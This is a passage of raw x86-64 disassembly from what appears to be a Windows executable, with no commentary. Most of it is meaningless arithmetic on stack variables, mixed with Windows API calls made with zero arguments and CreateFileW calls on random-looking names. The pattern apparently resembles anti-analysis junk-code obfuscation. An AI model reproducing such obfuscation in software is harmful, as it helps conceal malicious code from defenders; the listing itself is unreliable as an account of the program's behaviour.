mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7300]
sar rax, cl
mov rcx, qword [rsp + 0x9668]
mov qword [rcx], rax
mov rax, qword [rsp + 0xae40]
mov qword [rsp + 0xc308], rax
movzx eax, word [rsp + 0x1e18]
movzx ecx, word [rsp + 0x1660]
and eax, ecx
mov rcx, qword [rsp + 0xbfc8]
mov word [rcx], ax
mov rax, qword [rsp + 0xbdc8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb4f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x379], al
lea rax, [rsp + 0x4a5c]
mov qword [rsp + 0xc310], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov r9d, 0x14b9
xor r8d, r8d
lea rdx, [rsp + 0x9f50]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x46bc], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.0dzmToXigL39YVOQp0tUkg
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc318], rax
mov eax, dword [rsp + 0x4128]
mov ecx, dword [rsp + 0x451c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b58], eax
lea rcx, [rsp + 0x9680]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0xaf18]
mov qword [rsp + 0xc320], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov rax, qword [rsp + 0xa9f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb408]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x14022bb00]
mov byte [rcx], al
movsx eax, word [0x140229fc8]
movsx ecx, word [rsp + 0xa9c]
sub eax, ecx
mov rcx, qword [rsp + 0xa7b0]
mov word [rcx], ax
lea rax, [rsp + 0x1e10]
mov qword [rsp + 0xc328], rax
mov rax, qword [rsp + 0x9748]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb910]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xb090]
mov word [rcx], ax
mov rax, qword [rsp + 0xb2d0]
mov rcx, qword [rsp + 0xbaf8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb398], rax
movsx eax, byte [rsp + 0x385]
mov rcx, qword [rsp + 0xbff8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x2d5], al
mov r9d, 0x1831
xor r8d, r8d
lea rdx, [rsp + 0xa608]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x48b8], eax
mov rax, qword [0x14022bbc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb288]
mov qword [rsp + 0xc330], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc330]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xb9a0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x4128]
mov qword [rsp + 0xc338], rax
movsx eax, word [rsp + 0x1f80]
mov rcx, qword [rsp + 0xb130]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f74], ax
movzx eax, word [0x14022b850]
movzx ecx, word [rsp + 0x1eb0]
sub eax, ecx
mov rcx, qword [0x14022ba40]
mov word [rcx], ax
mov rax, qword [rsp + 0xa418]
mov rcx, qword [rsp + 0x9120]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbf88], rax
mov rax, qword [rsp + 0xa018]
movzx eax, word [rax]
mov word [rsp + 0x202c], ax
movzx eax, byte [0x140229f1d]
mov rcx, qword [rsp + 0x9a28]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3a1], al
lea rax, [rsp + 0x4a40]
mov qword [rsp + 0xc340], rax
mov rax, qword [rsp + 0x9750]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb250]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x39c], al
mov rax, qword [rsp + 0x97b8]
mov ecx, dword [rsp + 0x49e0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xc160]
mov dword [rcx], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x75bb
mov rcx, qword [rsp + 0xa6a0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47cc], eax
mov rax, qword [rsp + 0xb508]
mov rcx, qword [rsp + 0x8128]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x76f8], rax
movsx eax, word [rsp + 0xc34]
movsx ecx, word [0x140229f78]
add eax, ecx
mov word [rsp + 0x1da4], ax
movzx eax, word [rsp + 0x1f48]
mov word [0x14022be40], ax
mov rax, qword [rsp + 0xab18]
mov rax, qword [rax]
mov qword [rsp + 0xc348], rax
mov rax, qword [rsp + 0xb6f0]
mov rcx, qword [rsp + 0xa960]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9fb8]
mov qword [rcx], rax
lea rdx, [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x9df8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4798], eax
mov rax, qword [rsp + 0xb570]
movzx eax, word [rax]
mov word [rsp + 0x2030], ax
mov rax, qword [rsp + 0xbc80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa168]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9dd8]
mov word [rcx], ax
lea rcx, [rsp + 0xb5c0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [0x140229f80]
movzx ecx, al
mov eax, dword [rsp + 0x482c]
shl eax, cl
mov dword [rsp + 0x3acc], eax
mov rax, qword [rsp + 0xa940]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc068]
shr rax, cl
mov qword [rsp + 0x8380], rax
movsx eax, byte [rsp + 0x384]
movsx ecx, byte [rsp + 0x277]
add eax, ecx
mov rcx, qword [rsp + 0xa9b8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa290]
mov rax, qword [rax]
mov qword [rsp + 0xc350], rax
lea rax, [rsp + 0x1ea8]
mov qword [0x14022be48], rax
mov rax, qword [rsp + 0xaa98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d48]
sub eax, ecx
mov rcx, qword [rsp + 0xb6c0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa2c8]
mov rcx, qword [rsp + 0xb420]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa910]
mov dword [rcx], eax
lea rax, [rsp + 0x362]
mov qword [rsp + 0xc358], rax
mov rax, qword [rsp + 0xaee0]
mov rcx, qword [rsp + 0x9660]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7848], rax
mov rax, qword [rsp + 0xc210]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaf88]
mov qword [rsp + 0xc360], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc360]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x8c50], rax
mov rax, qword [rsp + 0xb928]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3da8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a3c], eax
lea rdx, [rsp + 0x47bc]
mov rcx, qword [rsp + 0xaac8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47cc], eax
movsx eax, byte [rsp + 0x366]
movsx ecx, byte [rsp + 0x395]
and eax, ecx
mov byte [rsp + 0x364], al
movzx eax, word [rsp + 0x1edc]
mov word [rsp + 0x2034], ax
mov rax, qword [rsp + 0xaa98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e60]
and eax, ecx
mov word [0x14022b978], ax
mov rax, qword [rsp + 0xae88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa3f0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x73c0], rax
mov rax, qword [rsp + 0xa8d8]
movzx eax, word [rax]
mov word [rsp + 0x2038], ax
mov rax, qword [rsp + 0xa7f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc2c0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1c94], ax
mov rax, qword [0x14022bdc0]
movzx ecx, al
mov rax, qword [rsp + 0xbbb8]
shl rax, cl
mov rcx, qword [rsp + 0xb608]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc368], rax
lea rax, [rsp + 0x370]
mov qword [rsp + 0xc370], rax
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb298]
mov qword [rsp + 0xc378], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc378]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xa3a0]
mov dword [rcx], eax
lea rax, [rsp + 0x7420]
mov qword [rsp + 0xc380], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xade0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2038]
add eax, ecx
mov rcx, qword [rsp + 0xa430]
mov word [rcx], ax
mov rax, qword [rsp + 0xacd8]
mov rcx, qword [rsp + 0xbc40]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14022a020], rax
mov r9d, 0x1572
xor r8d, r8d
lea rdx, [rsp + 0x9bb8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x47fc], eax
mov rax, qword [rsp + 0x9f80]
mov rcx, qword [rsp + 0xbc60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4580], eax
movzx eax, byte [rsp + 0x35d]
mov rcx, qword [rsp + 0xb360]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb2e8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa398]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d54]
and eax, ecx
mov word [rsp + 0x1f8c], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.iXMT1cy1gmkZk66R2qm3U
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc388], rax
mov rax, qword [rsp + 0x9e90]
movzx eax, word [rax]
mov word [rsp + 0x203c], ax
mov rax, qword [rsp + 0x8ef0]
mov rcx, qword [rsp + 0x7e28]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8020], rax
lea rax, [rsp + 0x3acc]
mov qword [rsp + 0xc390], rax
mov rax, qword [0x14022b9d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ba]
sar eax, cl
mov byte [rsp + 0x3a7], al
mov rcx, qword [rsp + 0xa4b0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xaf10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xafc0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1aa0], ax
mov rax, qword [rsp + 0xb9a8]
movzx eax, word [rax]
mov word [0x14022be50], ax
mov rax, qword [0x14022bde0]
mov rcx, qword [rsp + 0xbae0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7788], rax
mov rax, qword [rsp + 0xaee8]
mov rcx, qword [rsp + 0xa938]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x80b0], rax
mov rax, qword [rsp + 0xb530]
mov qword [rsp + 0xc398], rax
mov rax, qword [rsp + 0xbd78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f18]
shl eax, cl
mov rcx, qword [rsp + 0xafc0]
mov word [rcx], ax
mov rax, qword [rsp + 0xc0c0]
mov rcx, qword [rsp + 0x9cc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4ad4], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
movsx eax, byte [0x14022b812]
mov rcx, qword [rsp + 0xb718]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x231], al
mov rax, qword [rsp + 0xb380]
mov rcx, qword [rsp + 0xbd68]
mov qword [rsp + 0xc3a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc3a0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xc1c8], rax
lea rcx, [rsp + 0xc280]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x35b]
mov qword [rsp + 0xc3a8], rax
mov eax, dword [rsp + 0x39f0]
mov ecx, dword [rsp + 0x4524]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4aec], eax
lea rax, [rsp + 0xf58]
mov qword [0x14022be58], rax
movzx eax, word [rsp + 0xb30]
mov rcx, qword [rsp + 0xb0a0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9d10]
mov word [rcx], ax
mov rax, qword [0x14022ba30]
movzx eax, word [rax]
mov word [rsp + 0x2040], ax
mov rax, qword [rsp + 0x97d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb638]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7c50], rax
lea rax, [rsp + 0x4838]
mov qword [rsp + 0xc3b0], rax
movsx eax, byte [rsp + 0x3b6]
movsx ecx, byte [rsp + 0x3a4]
sub eax, ecx
mov rcx, qword [rsp + 0x9ee8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9d00]
mov rax, qword [rax]
mov qword [rsp + 0xc3b8], rax
movsx eax, word [rsp + 0xf38]
mov rcx, qword [rsp + 0xb168]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9f40]
mov word [rcx], ax
movzx eax, word [0x14022a0e8]
movzx ecx, word [rsp + 0x1cc8]
sar eax, cl
mov word [rsp + 0x1d2c], ax
mov rax, qword [rsp + 0xb5b0]
mov rcx, qword [rsp + 0xbab8]
xor rcx, rax
mov rax, rcx
mov qword [0x14022bb30], rax
lea rdx, [rsp + 0x4824]
mov rcx, qword [rsp + 0xac68]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4bac], eax
movzx eax, word [rsp + 0x17c8]
movzx ecx, word [rsp + 0xa98]
shl eax, cl
mov word [rsp + 0x1140], ax
mov rax, qword [rsp + 0x9fb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xae40]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9090], rax
mov rax, qword [rsp + 0x9f68]
mov rax, qword [rax]
mov qword [rsp + 0xc3c0], rax
mov rax, qword [rsp + 0xa2f0]
mov ecx, dword [0x140229ff0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4938], eax
mov r9d, 0xd5d
xor r8d, r8d
lea rdx, [rsp + 0xc240]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4b38], eax
mov rax, qword [rsp + 0xa7e0]
mov rcx, qword [rsp + 0xb820]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb4c0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x360]
movzx ecx, byte [rsp + 0x36f]
and eax, ecx
mov byte [rsp + 0x23f], al
mov rax, qword [rsp + 0xa258]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb010]
mov qword [rsp + 0xc3c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc3c8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xbc38]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x3a6]
mov byte [rsp + 0x3bd], al
mov rax, qword [rsp + 0xb278]
movsx eax, word [rax]
mov rcx, qword [0x14022bb40]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14022a100], ax
movsx eax, word [rsp + 0xaec]
movsx ecx, word [rsp + 0x14bc]
add eax, ecx
mov word [rsp + 0x1d80], ax
lea rcx, [rsp + 0xa680]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa5e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa1b0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1e60], ax
lea rax, [0x14022be40]
mov qword [rsp + 0xc3d0], rax
mov rax, qword [rsp + 0xaf88]
mov rcx, qword [rsp + 0x9d00]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa400], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc3d8], rax
lea rax, [rsp + 0x385]
mov qword [rsp + 0xc3e0], rax
mov eax, dword [rsp + 0x4a4c]
mov ecx, dword [rsp + 0x4a98]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbf10]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1dd0]
mov word [rsp + 0x2044], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0xd3c7
mov rcx, qword [rsp + 0xbe10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4b40], eax
movzx eax, word [rsp + 0x13c8]
mov rcx, qword [rsp + 0xabd0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x176c], ax
mov rax, qword [rsp + 0xaee0]
mov rcx, qword [rsp + 0xae88]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [0x14022bcf0], rax
mov r9d, 0xbb6
xor r8d, r8d
lea rdx, [rsp + 0xae80]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4910], eax
mov rax, qword [rsp + 0xbea8]
mov rcx, qword [rsp + 0x97d8]
mov qword [rsp + 0xc3e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc3e8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xbd30], rax
mov rax, qword [0x14022bb80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa570]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9418], rax
mov rax, qword [rsp + 0xb2d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9cd8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x97d0], rax
mov rax, qword [rsp + 0xc200]
movzx eax, word [rax]
mov word [rsp + 0x2048], ax
mov rax, qword [rsp + 0xaeb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4494]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x49d0], eax
mov rax, qword [rsp + 0xbdf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc1c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa9], al
mov eax, dword [rsp + 0x47d0]
mov rcx, qword [rsp + 0xb1e8]
mov qword [rsp + 0xc3f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc3f0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4584], eax
movsx eax, byte [rsp + 0x36e]
movsx ecx, byte [rsp + 0x282]
cdq
idiv ecx
mov rcx, qword [rsp + 0xb908]
mov byte [rcx], al
mov rax, qword [rsp + 0xc188]
mov rcx, qword [rsp + 0xbf48]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x14022bc70]
mov qword [rcx], rax
lea rax, [rsp + 0x1fa0]
mov qword [rsp + 0xc3f8], rax
movsx eax, word [rsp + 0x864]
mov rcx, qword [rsp + 0xb700]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x9f8], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.UT8b7d1zr13PZKju1rvfOf6w2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc400], rax
mov rax, qword [rsp + 0xa4f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaa30]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x968], ax
lea rax, [0x14022bbd8]
mov qword [rsp + 0xc408], rax
movsx eax, byte [rsp + 0x121]
movsx ecx, byte [rsp + 0x1a8]
and eax, ecx
mov rcx, qword [rsp + 0xbd40]
mov byte [rcx], al
mov rax, qword [rsp + 0x9ec0]
mov qword [rsp + 0xc410], rax
mov rax, qword [rsp + 0xaa00]
mov rcx, qword [rsp + 0xa9e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa618]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb8d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa8e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfa8], ax
mov rax, qword [rsp + 0xbfc8]
movzx eax, word [rax]
mov word [0x14022be60], ax
lea rax, [rsp + 0xa880]
mov qword [rsp + 0xc418], rax
movzx eax, word [0x14022b930]
movzx ecx, word [rsp + 0x1350]
xor eax, ecx
mov word [rsp + 0x1140], ax
mov rax, qword [rsp + 0xb540]
movzx eax, byte [rax]
mov byte [rsp + 0x3be], al
mov rax, qword [rsp + 0xb420]
mov ecx, dword [rsp + 0x4ba4]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xbe70]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbd20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x228]
shl eax, cl
mov byte [rsp + 0x2ff], al
mov rax, qword [rsp + 0xbcd8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbd80]
mov qword [rsp + 0xc420], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc420]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x9d60]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbb30]
mov rcx, qword [rsp + 0xa6f8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7f78], rax
mov rax, qword [rsp + 0xb8f0]
movzx eax, word [rax]
mov word [rsp + 0x204c], ax
mov rax, qword [rsp + 0xb6a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb410]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14022bc30], ax
mov rax, qword [rsp + 0xabb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa548]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa830]
mov qword [rcx], rax
lea rax, [rsp + 0x8db8]
mov qword [rsp + 0xc428], rax
lea rcx, [rsp + 0xbb28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, word [rsp + 0x1f18]
movsx ecx, word [rsp + 0x17d8]
and eax, ecx
mov word [rsp + 0x1dcc], ax
mov rax, qword [rsp + 0xb388]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf60]
sar eax, cl
mov word [rsp + 0x1ca4], ax
lea rdx, [rsp + 0x4914]
mov rcx, qword [rsp + 0xb460]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4738], eax
lea rax, [rsp + 0x4af4]
mov qword [rsp + 0xc430], rax
mov rax, qword [rsp + 0xc3e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb598]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x231], al
mov rax, qword [rsp + 0xa130]
mov rax, qword [rax]
mov rcx, qword [0x14022a018]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9078], rax
lea rcx, [rsp + 0xc438]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xb2c0]
mov rcx, qword [rsp + 0xa310]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa9f8], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xd3ad
mov rcx, qword [rsp + 0xb460]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x472c], eax
lea rax, [rsp + 0x1cb8]
mov qword [0x14022be68], rax
mov rax, qword [rsp + 0xbb68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e14]
shl eax, cl
mov rcx, qword [rsp + 0xbeb0]
mov word [rcx], ax
mov rax, qword [rsp + 0xad00]
movzx eax, byte [rax]
mov byte [rsp + 0x3bf], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc440], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x19c9
mov rcx, qword [rsp + 0xa900]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47a8], eax
mov rax, qword [rsp + 0xae70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x429c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4760], eax
lea rdx, [rsp + 0x4bb0]
mov rcx, qword [rsp + 0xa9c0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4b84], eax
mov rax, qword [rsp + 0xab00]
mov rax, qword [rax]
mov qword [rsp + 0xc448], rax
lea rcx, [rsp + 0xbe50]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xaa40]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4b30]
shr eax, cl
mov dword [rsp + 0x4778], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xd307
mov rcx, qword [rsp + 0xa760]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4ad8], eax
lea rax, [rsp + 0x142]
mov qword [rsp + 0xc450], rax
mov rax, qword [rsp + 0x7dd0]
mov rcx, qword [0x14022a048]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa600]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb278]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e0c]
add eax, ecx
mov word [rsp + 0x1f54], ax
lea rax, [rsp + 0x1df0]
mov qword [0x14022be70], rax
lea rax, [0x14022b918]
mov qword [rsp + 0xc458], rax
movzx eax, word [rsp + 0x1994]
mov rcx, qword [rsp + 0xbb40]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc60], ax
movsx eax, word [rsp + 0x1f90]
mov rcx, qword [0x14022bc80]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x10d4], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rax, qword [rsp + 0xaa20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc178]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9788]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3bc0]
mov rcx, qword [rsp + 0xb338]
mov qword [rsp + 0xc460], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc460]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xb928]
mov dword [rcx], eax
lea rax, [0x14022b808]
mov qword [rsp + 0xc468], rax
mov rax, qword [rsp + 0xa598]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9ff8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xafe0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1d1c]
mov word [rsp + 0x2050], ax
mov rax, qword [rsp + 0xae40]
mov rcx, qword [rsp + 0xc308]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x14022baa8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x39f0]
mov ecx, dword [rsp + 0x43e4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x48c4], eax
mov rax, qword [rsp + 0xb060]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9b18]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1ca], al
mov rax, qword [0x14022bc80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1fa4]
or eax, ecx
mov word [rsp + 0xe8c], ax
lea rcx, [rsp + 0xc470]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xbfc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb3e8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x15f4], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov rax, qword [rsp + 0xb988]
movzx eax, byte [rax]
mov byte [rsp + 0x3c0], al
mov rcx, qword [rsp + 0xacc8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rdx, [rsp + 0x4bb4]
mov rcx, qword [rsp + 0x99d8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
